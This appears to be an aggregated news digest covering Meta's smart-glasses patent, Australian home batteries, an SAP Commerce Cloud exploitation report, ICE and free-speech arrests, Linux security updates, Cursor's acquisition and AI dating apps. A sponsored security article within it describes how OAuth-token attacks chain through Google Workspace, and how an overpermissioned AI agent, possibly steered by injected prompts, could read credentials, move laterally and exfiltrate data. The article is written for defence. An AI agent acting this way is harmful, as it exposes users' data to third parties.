The patent is dense with how such a system would work, but in sum, the system with one or more cameras receives an input from the user, then uses machine-learning and “sensory data” to figure out points of interest in the camera’s field of view. That can include detecting people in the shot “based on one or more facial recognition algorithms,” identifying those specific people, detecting their facial expressions, using “eye gaze data of the user captured by the client system,” and figuring out other points of interest “based on scene and semantic understanding.”

With those people and actions identified, the system would then make various “highlight files.”

Although the patent is for “particular camera-based tasks by particular systems in a particular manner” — in this case, the company’s smart glasses — Meta writes it “contemplates assisting users in any suitable camera-based task by any suitable system in any suitable manner.” Meaning that although this technology is focused on the glasses, maybe the company will use it for other purposes in the future. It is also not clear if these ideas will ultimately make their way into a final product or update for the glasses.

Meta is continuing to push its AI smart glasses despite widespread pushback and criticism. In June, WIRED reported that Meta silently added facial recognition code for its smart glasses to millions of phones. Meta removed the code shortly after WIRED’s discovery.

Meta did not respond to a request for comment.

About the author

Joseph is an award-winning investigative journalist focused on generating impact. His work has triggered hundreds of millions of dollars worth of fines, shut down tech companies, and much more.

Joseph Cox

Show HN: APIMart: Discounted AI API Aggregator for GPT-5, Sora 2

Hacker News
apimart.ai
2026-08-14 10:14:13
Comments...
Original Article

APIMART ACCOUNT

Create Account

Join APIMart and access 500+ AI models

Already have an account? Sign in

In Australia, a Home Battery Boom Has Helped Cut Wholesale Power Prices in Half

Hacker News
e360.yale.edu
2026-08-14 10:07:52
Comments...
Original Article

NSW Climate and Energy Action

A little more than one year ago, Australia rolled out a program to heavily subsidize home batteries, part of a larger effort to make use of the huge volumes of solar energy that were going to waste. On Friday, officials announced that more than 500,000 batteries had been installed under the plan, helping to slash wholesale power prices roughly in half.

Energy Minister Chris Bowen said that Australia now has more home batteries than the United States, which has a population 12 times larger. “This is a story of global significance that Australian households have achieved,” Bowen said in a press conference .

Australia is the world leader in rooftop solar, with panels installed on more than one in three households, the highest rate of adoption globally. But abundant solar power has created a new dilemma as the grid faces a surge of electricity from connected rooftop arrays. Power prices plunge . Centralized power plants are forced offline, threatening grid stability . And much of that solar power goes to waste .

The government has moved to make use of this surplus solar energy, including by offering free power in the early afternoon to homeowners in Queensland, New South Wales, and South Australia, regardless of whether they have solar panels on their roof or not. The goal is to spur more consumers to run appliances or charge electric vehicles during this window.

With its home battery subsidy program , launched in July 2025, the government is aiming to help households use more solar energy by providing a 30 percent discount on residential battery systems connected to solar arrays.

The subsidy program has spurred a boom in installations. Australia is on track to more than double its home battery capacity this year, Bloomberg reports . The program has also been a boon to the grid. By relying on batteries in the early evening, when demand peaks, homeowners are reducing the need for utilities to fire up additional power plants during those hours, which is helping to lower costs for other ratepayers, officials say.

The subsidy program has been “the major factor in the wholesale price of energy falling in Australia by 47 percent in the last 12 months,” Bowen said. “Australia is one of the very, very few countries in the world which is reducing wholesale prices in the midst of a global energy crisis.”

ALSO ON YALE E360

A Home Battery Revolution Is Reshaping the Power Grid

Python packaging council candidates announced

Linux Weekly News
lwn.net
2026-08-14 10:07:50
The Python Software Foundation (PSF) has announced the candidates running for the Python packaging council that was approved by the Python steering council in April. This inaugural election fills all five seats on the PPC. The two candidates receiving the highest number of votes shall be designate...
Original Article

The Python Software Foundation (PSF) has announced the candidates running for the Python packaging council that was approved by the Python steering council in April .

This inaugural election fills all five seats on the PPC. The two candidates receiving the highest number of votes shall be designated Cohort A with a two year term, and the three candidates receiving the next highest number of votes shall be designated Cohort B with a one year term.

In future elections, each cohort will be elected for a full two-year term in alternating years, so that roughly half of the PPC turns over each cycle.

There are 17 candidates running for the five open seats. PSF voting-eligible members must affirm their intention to vote in this election by August 25. Voting begins on September 1, and ends on September 15.



The Modern Attack Chain: Rethinking Google Workspace Security in the Age of AI

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 10:00:10
Google Workspace attacks do not always begin with phishing. Stolen OAuth tokens can provide another path into Gmail, Drive, and connected systems. Material Security explains why organizations need defenses that cover the entire Workspace attack chain. [...]...
Original Article

G in chains

By Rajan Kapoor, VP Security, Material Security

Over the past two months, I've written about the Vercel breach and the Composio breach separately. Both offer lessons to learn on their own. But reading them together, I keep coming back to the same observation: these aren't isolated incidents

They're the same attack, run twice, against different targets, where email was not the entry point into the workspace. And once you see the pattern clearly, it changes what you think you need to defend.

It also raises an uncomfortable question that I've been sitting with. The pattern I'm describing, where an OAuth grant is used to access an account, read sensitive data from email and Drive, and use that access to move past the workspace, doesn't only describe what attackers do. It increasingly describes what AI agents do, by design, every day.

Before jumping into that discussion, let’s take a moment to map out the workspace attack chain.

The old mental model: email is where the danger lies

For most of the last decade, the dominant mental model for workspace security looked something like this: email is the dangerous channel, and everything else in Google Workspace is relatively safe.

That model made sense when attackers were primarily trying to steal credentials through phishing. It doesn't hold anymore because attackers have learned to chain their way through the workspace, not just get in via an inbox.

The model most security teams are familiar with looks something like this:

  • Email is the entry point: A malicious email (a phishing link, a weaponized attachment, a convincing pretext, a prompt intended to misdirect an AI agent) is how most attacks begin.
  • A credential is stolen: The attack results in a valid credential being stolen and an account takeover happening.
  • Sensitive data is accessed in Gmail and Drive: Once the takeover happens, the attacker easily jumps to connected apps within Google Workspace.
  • Lateral pivots: An attacker inside an inbox can reset passwords and get into additional apps via magic links.
  • Establish persistence: Attackers can sit undetected within accounts for days, weeks, or months, quietly exfiltrating data across systems.

Familiar attack chain

Taken together, this is the nightmare scenario that is widely recognized as the account takeover (ATO). The workspace attack chain begins with an identity compromise via email and expands from there.

The evolving attack chain: OAuth is the entry point

The elements of the workspace attack chain attack haven’t changed, but the order in which the attacks unfold has evolved. The sequence I've now watched play out across Vercel, Composio, and a growing number of incidents we're tracking doesn’t start with email at all.

Instead, the script gets flipped and an OAuth token becomes the entryway into email, not the other way around.

Here’s what these attacks looked like:

  • OAuth is the entry point: These attacks started by establishing persistence through a stolen OAuth token. These tokens survive password resets, don’t expire, and are hard to observe. They are invisible to users and largely invisible to security teams who aren’t monitoring app behavior. Even scarier, the stolen token is a supply chain attack. A supplier is compromised and the result is access into your environment.
  • Sensitive data is accessed: Using the stolen token, the attacker was able to get into data stored in Gmail and Drive.
  • Email accounts are taken over: The ATO is initially executed using OAuth, not email. The access to email converts a compromised inbox into a much broader incident.
  • Lateral pivots: Using a combination of credentials stored in Drive and password resets or magic links via email,the attacker can then move laterally across connected systems.

Evolving attack chain

We can anticipate that the building blocks of the workspace attack chain will remain consistent, but that attackers – equipped with AI tools to sniff out vulnerabilities and scale their efforts – will continue to find ways to recombine them.

These OAuth-centric attacks are only one example of this evolution.

The same chains, a different actor

Now let’s shift our thinking, while keeping those four-step sequences I just described in our minds.

Your employees are connecting AI agents to Google Workspace right now. Those agents are authorized. They're using legitimate OAuth grants. They're reading email, searching Drive, operating on behalf of real users to do real work. In most organizations, this is happening faster than security teams can track it.

When an AI agent behaves unexpectedly — because its instructions were ambiguous, because it followed a chain of reasoning its developers didn't anticipate, because it was fed a prompt through content it encountered in the environment — it can walk the same path as an attacker:

  • It accesses an inbox or Drive folder it wasn't explicitly intended to reach, because its scope was broader than its task required.
  • It reads sensitive content like credentials in email threads or confidential documents in shared drives and makes use of that information.
  • It takes an action downstream from that access: sending a message, following a link, making a request to another service.
  • It moves laterally across applications and sensitive information winds up getting exfiltrated to a third party.

No malicious actor. No compromised credential. Just an agent doing something its operator didn't intend, in an environment that didn't have the controls to stop it.

Why this matters for how you think about defense

Most conversations about AI agent security are framed around preventing prompt injection, red-teaming agent behavior, or reviewing what apps your employees are connecting. Those are real problems and worth solving.

But the threat I'm describing isn't about an agent being weaponized. It's about an agent operating exactly as it was built to operate, in an environment where the guardrails weren't designed with that kind of actor in mind.

A human operator acting in an environment where they’ve been overpermissioned will generally know how to navigate this situation using a combination of common sense and understanding of company norms and policies.

OAuth tokens granted to an AI agent carry the same access as tokens granted to a person, but the agent won’t understand that it’s been overpermissioned before it acts. It will simply do what it needs to do in order to execute the task.

The controls that matter here aren't controls on the agent. They're controls on the environment the agent operates in.

If you know where sensitive data lives across email and Drive, you can enforce policies that restrict access to it before an agent (or an attacker) gets there. If you're investigating OAuth grants, you can understand and limit exposure to the prying eyes of an attacker or an errant agent.

If you can redact password reset links and require step-up verification before sensitive inbox content is readable, it doesn't matter whether the entity trying to access that content is an attacker or an agent acting outside its intended scope.

The same coverage that defends against the modern attack chain also defends against the modern agent risk. They're the same problem, wearing different hats.

What defense looks like across the full chain

I don't think the answer is to add more point solutions to each stage of this chain. I think the answer is coverage that understands the chain as a chain, that can see what's happening across email, OAuth, Drive, and account behavior, and connect the dots before things go wrong at step three or four.

That's what we've built at Material. Here's how our coverage maps to each step:

Blocking the initial email payload. Our email security is designed to catch what native controls miss: sophisticated phishing, payloads that bypass reputation-based filters, attacker-in-the-middle techniques. Stopping the most common attack method before it starts remains the highest-leverage intervention for the malicious threat.

Detecting suspicious OAuth behavior. Material goes beyond cataloging what apps exist and what scopes they hold.

The platform watches what apps actually do: what they read, when they read it, how that behavior changes over time. Whether an OAuth token is being used by an attacker or an AI agent operating outside its intended parameters, anomalous behavior at the activity layer surfaces the danger.

Detecting and protecting sensitive data at rest. You can't protect what you can't see, and you can't design a policy around access you don't know exists.

Material's file security gives teams visibility into where sensitive data lives across email and Drive: which shared drives carry broad access, which email threads contain credentials or PII, which Drive folders are exposed beyond their intended audience. This is the foundation for enforcing least-privilege access against any actor, human or automated.

Blocking lateral movement via password resets. Material can redact sensitive message content, including password reset links, and require step-up verification before that content becomes accessible.

An attacker with inbox access can't use it as a pivot point if the reset links aren't available in plaintext. An AI agent reaching the inbox looking for something to act on encounters the same restriction.

The pattern is going to repeat

Vercel. Composio. I expect this list will keep growing, and I expect the next entries on it won't always fit neatly into the category of "external attacker."

Some of them will involve AI agents doing something unexpected. Some will involve overpermissioned integrations that reach data they were never supposed to see. The mechanism will look familiar even when the story around it doesn't.

The right response isn't to be alarmed about AI agents or to slow down adoption. Agents are genuinely useful and the productivity case for them is real.

The right response is to recognize that the workspace those agents operate in needs controls that are appropriate for a world where OAuth-authenticated software (authorized or not) is a first-class actor in your environment.

If your Google Workspace security strategy ends at the inbox, it has a gap. That gap is exactly where the modern attack chain runs, and it's exactly where an AI agent operating outside its intended scope will run too.

If you want to talk through what full-chain workspace coverage looks like for your environment, reach out to us at Material Security .

Sponsored and written by Material Security .

Max severity SAP Commerce Cloud flaw now targeted in attacks

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 09:45:18
A maximum-severity SAP Commerce Cloud remote code execution vulnerability patched three days ago is already being targeted in attacks, according to threat intelligence company Defused. [...]...
Original Article

SAP

A maximum-severity SAP Commerce Cloud remote code execution vulnerability patched three days ago is already being targeted in attacks, according to threat intelligence company Defused.

Commerce Cloud (formerly known as SAP Hybris) is a cloud-based e-commerce platform used by online stores owned by high-profile global brands and large retailers.

Tracked as CVE-2026-58231 , this critical flaw stems from an improper authorization weakness in the core Data Hub Adapter extension for Commerce Cloud that threat actors without privileges can exploit in low-complexity attacks to execute arbitrary code.

image

"SAP Commerce Cloud allows an unauthenticated attacker to abuse a default authentication client and submit specially crafted input to certain functions lacking sufficient validation," SAP explains.

"Successful exploitation could enable arbitrary code execution and compromise internal components, resulting in high impact on confidentiality, integrity, and availability of the application."

While SAP has yet to flag this security flaw as actively exploited in a security advisory issued this Tuesday, Defused security researchers confirmed earlier today that CVE-2026-58231 is now being targeted in the wild.

CVE-2026-58231 exploitation attempt
CVE-2026-58231 exploitation attempt (Defused)

​"First exploitation attempts against CVE-2026-58231 (unauth RCE in SAP Commerce Cloud, CVSS 10.0) is now hitting our honeypots - 3 days after patch day," Defused warned in a Friday tweet. "This vulnerability has no public PoC and is not known to be exploited."

Internet security watchdog group Shadowserver tracks over 4,200 IP addresses with a SAP Commerce Cloud fingerprint , most of them from Europe and North America.

However, there is no information on how many of them are honeypots or have already been secured against CVE-2026-58231 attacks.

Internet-exposed SAP Commerce Cloud instances
Internet-exposed SAP Commerce Cloud instances (Shadowserver)

​Most recently, SAP fixed 16 vulnerabilities in its July 2026 Security Patch package and 30 more vulnerabilities in June and May , including three more critical security flaws ( CVE-2026-44761 , CVE-2026-22732 , and CVE-2026-34263 ) affecting the Commerce Cloud enterprise-grade e-commerce platform.

In April, cybersecurity companies Aikido and Socket also reported that attackers aiming to steal credentials from developers' systems compromised multiple official SAP npm packages in a supply chain attack .

Since November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added 14 SAP vulnerabilities to its Known Exploited Vulnerabilities catalog, including three that were abused in ransomware attacks.

SAP is a German multinational software corporation that serves 99 of the 100 largest companies worldwide and has reported total revenues exceeding €36 billion in fiscal year 2025.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

ICE Maced the Wrong Septuagenarian

hellgate
hellgatenyc.com
2026-08-14 09:32:37
And more news for your Friday morning....
Original Article

A 72-year-old woman who was pepper-sprayed in the face by a masked ICE agent in Inwood two weeks ago is now suing the federal government, with the help of a high-profile civil rights attorney.

Linda Wolff was standing on a sidewalk filming ICE agents on July 30, when an officer wearing a gaiter, cap, black rubber gloves, and an ICE POLICE bulletproof vest sauntered up to her and sprayed her face at close range. The incident was captured on video in a now widely-circulated clip .

Speaking to Hell Gate on Thursday, Wolff explained that she'd rushed to Inwood from a pilates class, after seeing a call for a rapid response to an ICE sighting at the corner of Isham Street and Seaman Avenue. When she arrived, she found an ICE vehicle with a flat tire being towed, and agents milling around.

Wolff says she got into a yelling match with the tow-truck driver after she called him out for helping the agents. In the video, as she and the driver yell at each other, a tattooed ICE agent strolls up to them, and silently sprays Wolff in the face.

Later in the video, after the NYPD arrives, she confronts the agent: "You just maced me." He responds, "I'm gonna do it again." "In front of the cops?" she asks. He nods: "Yep."

"It's egregious to me because she wasn't physically interfering with the ICE officers. She wasn't stopping them from doing their job, and they walked over with such confidence that they would not be held accountable," Wolff's attorney, John Burris, told Hell Gate. "There was a level of arrogance that they displayed that's most troubling to me."

Burris, a civil rights attorney who has previously won major police brutality settlements for high-profile clients such as Rodney King and Tupac Shakur , filed federal torts claims with the Department of Homeland Security and Immigration and Customs Enforcement in Wolff's case, and added that his firm is handling similar suits challenging ICE overreach around the country, including several in Minneapolis.

In May, New York passed a slew of new laws to protect its residents from ICE. This included introducing the right for private citizens to sue individual ICE agents in state court, called the Bivens Act . Burris said he was now considering filing an additional lawsuit on behalf of Wolff under that new law. "Obviously, we're better off in New York State court than we are in federal court," he explained.

Wolff would be the first New Yorker to sue an ICE agent in New York under the Bivens Act. However, Wolff will have to identify the officer. While the agent was masked, she said she feels confident she'll find his name due to the videos bystanders took of the incident, and his prominent tattoos, despite the fact that his face was mostly obscured by the gaiter. (Another new New York law banning ICE agents from wearing masks was blocked by a judge last week .)

ICE and DHS did not immediately respond to a request for comment. But ICE previously told other news outlets that its officers were surrounded by an "unruly, combative, and verbally assaultive crowd" that refused to move out of the way, and that officers resorted to "appropriate" measures.

Wolff said she's been protesting at the Newark ICE detention center Delaney Hall—where three people have died this year so far—almost every day since late May. She's never filed a lawsuit before, she said, but she has been pepper-sprayed. "I've been maced three times. I was shot with a rubber bullet in the chest. I don't know if you know what happened at Delaney in the beginning of June, we were assaulted every day," she said. "But it's sort of part of the job."

Linda Wolff speaks at a press conference Wednesday. (Office of Governor Kathy Hochul)

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Man Arrested in Texas For Cussing at a County Meeting

403 Media
www.404media.co
2026-08-14 09:20:33
Police arrested EJ Carrion in Fort Worth for 'tumultuous behavior' a week after he called local officials 'bullshit' at a county meeting....
Original Article

Police arrested a man in Texas early Wednesday morning for saying “bullshit” at a public city meeting a week earlier.

Police in Fort Worth, Texas pulled over local radio host and political activist EJ Carrion just outside of his home and arrested him for "tumultuous behavior” related to a Commissioner's Court meeting on August 4, according to a copy of the arrest report obtained by 404 Media. Video of the alleged crime on YouTube showed Carrion saying the word “bullshit” while talking about polling center reductions during the meeting before walking away from the microphone.

Carrion told NBC DFW that he had been out with friends late Tuesday night and came home around 3 AM on Wednesday morning. He pulled into his cul-de-sac when the cops pulled him over for not using a turn signal. They told Carrion they had a warrant for his arrest.

According to an arrest report obtained by 404 Media, Carrion is charged with two counts of disrupting a meeting or procession, a misdemeanor in the state of Texas. “On or about the 4th day of August 2026, in the county of Tarrant, state of Texas, [Carrion] did intentionally hinder an official proceeding [...] by noise or violent or tumultuous behavior,” the record said.

Tarrant County is the home of the city of Fort Worth, where. Carrion and other residents have been fighting a long battle with city officials over a plan to reduce the number of polling places by almost 50 percent ahead of the November midterms. During the last election, the city had 316 polling places. The county’s election administrator wants to cut that to 176.

Carrion is a local celebrity — a podcast host , political activist, and EdTech entrepreneur — who has used his platform to speak out against the plan. He’s attended many public meetings of the Tarrant County Commissioners and spoken against the proposed polling plan several times.

“You said you were all about cooling the temperature and yet you vote for this extremist bullshit,” Carrion said. “All of you are bullshit.” Carrion then turned around and walked away from the mic.

“Remove him immediately from the room,” Tarrant County judge Tim O’Hare said.

“I’m walking out, small man,” Carrion shouted over his shoulder as he walked away.

“You are disrupting the meeting, we are now in recess,” O’Hare said. This exchange was, apparently, what caused Tarrant County to issue a warrant for Carrion’s arrest.

Things did not calm down after Carrion left. Thirty minutes after his comments, a woman took the mic and criticized how the meetings worked. “People are removed for clapping. People are removed for speaking out. People are treated like a disruption instead of the reason this government exists,” she said. “You keep telling us not to ‘California my Texas’ while in reality you keep Russia my Texas. You three boys from the GOP—”

“Alright, hang on, that’s it,” O’Hare cut her off. “We’re going to clear the chambers now.” Off camera, someone called something out to O’Hare.

“Take that one, remove him from the building,” O’Hare said, pointing off camera.

An hour after that, the chamber cleared, O’Hare ordered the arrest of another speaker for touching the microphone. Former Texas State representative Lon Burnham spoke out against the polling plan and the Commission. “For the last couple of years now all we have seen is total disrespect for the public,” he said. A previous speaker had been removed for touching the microphone and Burnam picked it up during his own speech.

“Set the microphone down, Mr. Burnam,” O’Hare said. “I’ve asked you to set the microphone down. Please remove him.” The judge placed the meeting in recess again and Tarrant county officers physically dragged Burnam out of the chambers and charged him with two counts of public disruption — the same charges faced by Carrion.

O’Hare is an elected official who presides over the Tarrant County Commission with four other elected representatives. Commissioner Roderick Miles Jr. questioned Carrion’s arrest in a public statement on his Facebook page. “I am deeply disturbed by the circumstances surrounding the arrest of Efrin ‘EJ’ Carrion earlier this morning,” Miles Jr. said in the statement.

“Government must exercise extraordinary restraint when speech at a public meeting leads to involvement with the criminal justice system. Residents should never have to wonder whether speaking forcefully to their elected officials could result in a warrant, an arrest, or an encounter with law enforcement,” he said. “Because once that fear takes hold, the damage reaches far beyond one person.”

Miles Jr. called on his fellow commissioners to make the Commissioners Court a place where residents could feel safe to speak their mind. “There must be a line the government does not cross,” he said. “The authority entrusted to us does not belong to us. It belongs to the people [...] this must stop. And I will not be silent when the public trust, the safety of our residents, and their rights to be heard are at stake.”

Carrion’s arrest is the latest in a growing trend around the country. People are angry at their local politicians — often about surveillance cameras and data center contracts — and have been showing up at public hearings in huge numbers to tell them. In February, cops in Oklahoma arrested a farmer for speaking a little too long during a data center meeting. In July, police arrested a person in Kansas for clapping during the public comments portion of a data center meeting.

Carrion and the Fort Worth Police Department did not return 404 Media’s request for a comment.

About the author

Matthew Gault is a writer covering weird tech, nuclear war, and video games. He’s worked for Reuters, Motherboard, and the New York Times.

Matthew Gault

France's tax authority had data stolen on 680k taxpayers

Hacker News
korben.info
2026-08-14 09:18:53
Comments...

Security updates for Friday

Linux Weekly News
lwn.net
2026-08-14 09:18:05
Security updates have been issued by AlmaLinux (.NET 10.0, .NET 8.0, .NET 9.0, bind, bind9.16, and dracut), Debian (apr-util, chromium, postgresql-17, python-httplib2, unzip, and zip), Fedora (erlang-cowboy, erlang-cowlib, flatpak, and libnfs), Gentoo (Apache HTTPD, Bubblewrap, Dnsmasq, Exim, Flatpa...
Original Article
Dist. ID Release Package Date
AlmaLinux ALSA-2026:54542 8 .NET 10.0 2026-08-14
AlmaLinux ALSA-2026:54538 8 .NET 8.0 2026-08-14
AlmaLinux ALSA-2026:54550 8 .NET 9.0 2026-08-14
AlmaLinux ALSA-2026:54654 8 bind 2026-08-14
AlmaLinux ALSA-2026:54509 8 bind9.16 2026-08-14
AlmaLinux ALSA-2026:54575 8 dracut 2026-08-14
Debian DSA-6437-1 stable apr-util 2026-08-13
Debian DLA-4739-1 LTS chromium 2026-08-13
Debian DSA-6436-1 stable chromium 2026-08-13
Debian DSA-6438-1 stable postgresql-17 2026-08-13
Debian DSA-6441-1 stable python-httplib2 2026-08-14
Debian DSA-6440-1 stable unzip 2026-08-14
Debian DSA-6439-1 stable zip 2026-08-14
Fedora FEDORA-2026-ce97d80dae F43 erlang-cowboy 2026-08-14
Fedora FEDORA-2026-7d233ad8b0 F44 erlang-cowboy 2026-08-14
Fedora FEDORA-2026-ce97d80dae F43 erlang-cowlib 2026-08-14
Fedora FEDORA-2026-7d233ad8b0 F44 erlang-cowlib 2026-08-14
Fedora FEDORA-2026-6b83471b0e F44 flatpak 2026-08-14
Fedora FEDORA-2026-8ae1795f2b F44 libnfs 2026-08-14
Gentoo 202608-05 Apache HTTPD 2026-08-13
Gentoo 202608-09 Bubblewrap 2026-08-14
Gentoo 202608-04 Dnsmasq 2026-08-13
Gentoo 202608-07 Exim 2026-08-14
Gentoo 202608-06 Flatpak 2026-08-14
Gentoo 202608-08 libinput 2026-08-14
Gentoo 202608-03 rsync 2026-08-13
Mageia MGASA-2026-0335 10 dhcpcd 2026-08-14
Mageia MGASA-2026-0334 10 qemu 2026-08-13
Mageia MGASA-2026-0333 10 roundcubemail 2026-08-13
Mageia MGASA-2026-0332 9 roundcubemail 2026-08-13
Oracle ELSA-2026-54541 OL10 .NET 8.0 2026-08-14
Oracle ELSA-2026-54574 OL9 .NET 8.0 2026-08-14
Oracle ELSA-2026-54590 OL10 .NET 9.0 2026-08-14
Oracle ELSA-2026-54510 OL9 bind 2026-08-14
Oracle ELSA-2026-54509 OL8 bind9.16 2026-08-14
Oracle ELSA-2026-54486 OL10 freerdp 2026-08-13
Oracle ELSA-2026-54485 OL8 freerdp 2026-08-14
Oracle ELSA-2026-54487 OL9 freerdp 2026-08-14
Oracle ELSA-2026-51183 OL7 glib2 2026-08-13
Oracle ELSA-2026-54512 OL10 gnome-remote-desktop 2026-08-14
Oracle ELSA-2026-54178 OL10 grafana 2026-08-13
Oracle ELSA-2026-54243 OL8 grafana 2026-08-13
Oracle ELSA-2026-49603 OL7 gstreamer1-plugins-good 2026-08-13
Oracle ELSA-2026-53848 OL8 isns-utils 2026-08-13
Oracle ELSA-2026-42887 OL8 java-17-openjdk 2026-08-14
Oracle ELSA-2026-42887 OL9 java-17-openjdk 2026-08-13
Oracle ELSA-2026-36541 OL10 kernel 2026-08-13
Oracle ELSA-2026-52765 OL8 kernel 2026-08-13
Oracle ELSA-2026-51063 OL7 libXfont2 2026-08-13
Oracle ELSA-2026-50808 OL7 libpng 2026-08-13
Oracle ELSA-2026-54650 OL10 nghttp2 2026-08-14
Oracle ELSA-2026-54662 OL9 nghttp2 2026-08-14
Oracle ELSA-2026-52772 OL8 perl-DBI:1.641 2026-08-13
Oracle ELSA-2026-54481 OL10 python-idna 2026-08-13
Oracle ELSA-2026-54290 OL8 python-idna 2026-08-13
Oracle ELSA-2026-54268 OL9 python3.9 2026-08-13
Oracle ELSA-2026-36083 OL7 xorg-x11-server 2026-08-14
Slackware SSA:2026-225-01 rsync 2026-08-13
SUSE SUSE-SU-2026:23150-1 SLE16.0 bouncycastle 2026-08-14
SUSE openSUSE-SU-2026:0284-1 osB15 chromium 2026-08-14
SUSE SUSE-SU-2026:23146-1 SLE16.0 dnsdist 2026-08-14
SUSE SUSE-SU-2026:3613-1 SLE15 dracut 2026-08-14
SUSE SUSE-SU-2026:3611-1 SLE15 SLE5.5 SLE-m5.5 oS15.5 dracut 2026-08-14
SUSE SUSE-SU-2026:3612-1 SLE15 oS15.6 dracut 2026-08-14
SUSE SUSE-SU-2026:3614-1 SLE12 java-1_8_0-ibm 2026-08-14
SUSE SUSE-SU-2026:3615-1 SLE15 java-1_8_0-ibm 2026-08-14
SUSE SUSE-SU-2026:3616-1 SLE15 SLE5.3 SLE5.4 SLE-m5.3 SLE-m5.4 kernel 2026-08-14
SUSE SUSE-SU-2026:3617-1 SLE15 SLE5.5 SLE-m5.5 oS15.5 kernel 2026-08-14
SUSE SUSE-SU-2026:23151-1 SLE16.0 libXfont2 2026-08-14
SUSE SUSE-SU-2026:23154-1 SLE16.0 nodejs22 2026-08-14
SUSE SUSE-SU-2026:23155-1 SLE16.0 nodejs24 2026-08-14
SUSE SUSE-SU-2026:23144-1 SLE16.0 php8 2026-08-14
SUSE SUSE-SU-2026:23142-1 SLE16.0 python-httplib2 2026-08-14
SUSE SUSE-SU-2026:23141-1 SLE16.0 rrdtool 2026-08-14
SUSE SUSE-SU-2026:23145-1 SLE16.0 rsyslog 2026-08-14
SUSE SUSE-SU-2026:23152-1 SLE16.0 samba 2026-08-14
SUSE SUSE-SU-2026:23147-1 SLE16.0 wireshark 2026-08-14
Ubuntu USN-8548-2 16.04 linux, linux-aws, linux-kvm 2026-08-13
Ubuntu USN-8633-2 16.04 linux-aws-hwe, linux-azure, linux-gcp, linux-hwe 2026-08-13
Ubuntu USN-8530-2 16.04 linux-aws-hwe 2026-08-13
Ubuntu USN-8529-2 16.04 linux-azure, linux-gcp, linux-hwe, linux-oracle 2026-08-13
Ubuntu USN-8630-2 22.04 24.04 linux-lowlatency, linux-lowlatency-hwe-6.8, linux-nvidia-tegra, linux-oracle 2026-08-13
Ubuntu USN-8631-3 22.04 linux-nvidia-tegra-igx 2026-08-13
Ubuntu USN-8637-1 26.04 linux-oem-7.0 2026-08-13
Ubuntu USN-8631-2 22.04 linux-oracle 2026-08-13
Ubuntu USN-8638-1 20.04 22.04 24.04 26.04 node-axios 2026-08-13

Cursor Is Joining SpaceX

Hacker News
cursor.com
2026-08-14 09:10:12
Comments...
Original Article

Cursor has officially been acquired by SpaceX. This completes the acquisition process that started in April, when we announced our partnership with SpaceXAI to accelerate our model training efforts.

In the years since we started Cursor, better models have steadily expanded what people can build. Cursor has gone from completing the next few lines of code to building AI teammates that you can give real work to.

Together with SpaceX, we will push that ambition further. We will have access to the largest fleet of GPUs in the world, giving us the compute to build stronger models that are also more economical to run.

This means we can provide customers with more capable models at lower cost. Grok 4.6, which we released Wednesday , provides an early look at what we can now build together. SpaceX is building the computing capacity needed to scale intelligence far beyond what exists today. Cursor will be one place where that intelligence becomes useful.

For us, that opens a much larger horizon than the one we started with, while keeping the work familiar. We still want to help people with ambitious ideas spend less time writing code and more time solving harder problems.

As online dating goes into ‘salvage mode’, can AI solve all its problems?

Guardian
www.theguardian.com
2026-08-14 09:00:28
Dating apps such as Bumble forced to adapt as ‘swipe fatigue’ grows Bumble was supposed to be different. When it launched in 2014, it offered women a simple proposition: if you matched with a man, you had to make the first move. The rule was meant to make online dating safer and less intimidating, w...
Original Article

B umble was supposed to be different. When it launched in 2014, it offered women a simple proposition: if you matched with a man, you had to make the first move. The rule was meant to make online dating safer and less intimidating, while giving women control over who got to speak first.

This week, Bumble abandoned it.

The change follows the introduction of Opening Moves, which had already softened the original rule, and comes as Bumble prepares to abandon another defining feature: the swipe.

The company says it is responding to changing user behaviour and wants to encourage more meaningful connections.

But there is another way of reading the changes.

Bumble was created to fix what many saw as Tinder’s chaotic and aggressive hookup culture by shifting the power dynamic entirely to women. Now it is dismantling those features. And it is not alone. Across the dating-app industry, the swipe-and-match model that transformed how people met is being quietly reworked while companies race to put artificial intelligence at the centre of whatever comes next.

“Bumble is in salvage mode,” says Luke Brunning, a philosopher who studies the ethics of technology and relationships. “They’ve already reorganised, restructured and cut jobs in response to declining revenue. This risky, standout pivot suggests they’re wondering how, despite all that, to keep going.”

The number of Bumble’s paying users fell sharply over the past year and its share price has been under sustained pressure. The company cut about 30% of its workforce this year.

“It’s going to be fascinating to see whether they can weather it,” Brunning says. “But they’re not alone: a lot of the major players are also in salvage mode, trying to figure out how to position themselves in a market that is increasingly fed up with them.”

Brunning’s research shows dating apps are now often used grudgingly, because people feel that they are necessary, rather than with the excitement that accompanied their rise.

The online dating industry, estimated to be worth almost £10bn globally, is keenly aware of this. Its solution? To go full AI.

Grindr – seen as a testbed for the wider industry – is transitioning into an “AI-first” platform. Tinder is testing Chemistry, an AI-powered system intended to reduce “swipe fatigue”. Bumble has been developing an AI matchmaking assistant called Bee.

Other startups are dispensing with swiping altogether. London-based Fate describes itself as an “agentic AI dating app”: instead of browsing profiles, users are interviewed by an AI about what they want from relationships to find similarities with potential partners.

So why aren’t we talking about being on the brink of a brave new world of dating apps, where AI will successfully sift the candidates to find our one true love? Why, instead, is the debate about whether the apps will even survive?

Adam Peacock, a researcher of technology and intimacy, thinks the issue is that the industry is misreading what people are objecting to.

“There’s a kind of emerging cultural backlash against allowing AI into our intimate lives as well as the additional concern that someone you’re talking to on these apps, is actually filtering the whole conversation through an AI concierge,” he says.

Peacock says gen Z in particular are concerned as to whether dating apps are even being designed to make good connections between users but are, instead, opaquely tweaked to monetise the time users spend on the site. That, in a cynical twist, the apps are deliberately profiting from keeping people lonely.

“The dating industry has turned intimacy into an enormous source of data,” Peacock says. “Dating apps can know where people live, what they look like, who they are attracted to, what they say to potential partners and, increasingly, how they behave.”

Elsa Kugelberg, a philosopher who researches gender and relationships, says online dating has become too embedded in modern life to fail. But the first generation of dating apps – the era of the profile, the swipe, the match and the message – may be reaching its end.

Peacock thinks the apps may evolve into something broader: “More of a social media, lifestyle product than a dedicated dating app.”

But the question is whether any iteration of dating app will make the experience better, or whether the extra layers of AI will simply function as a temporary facade on an exhausted model.

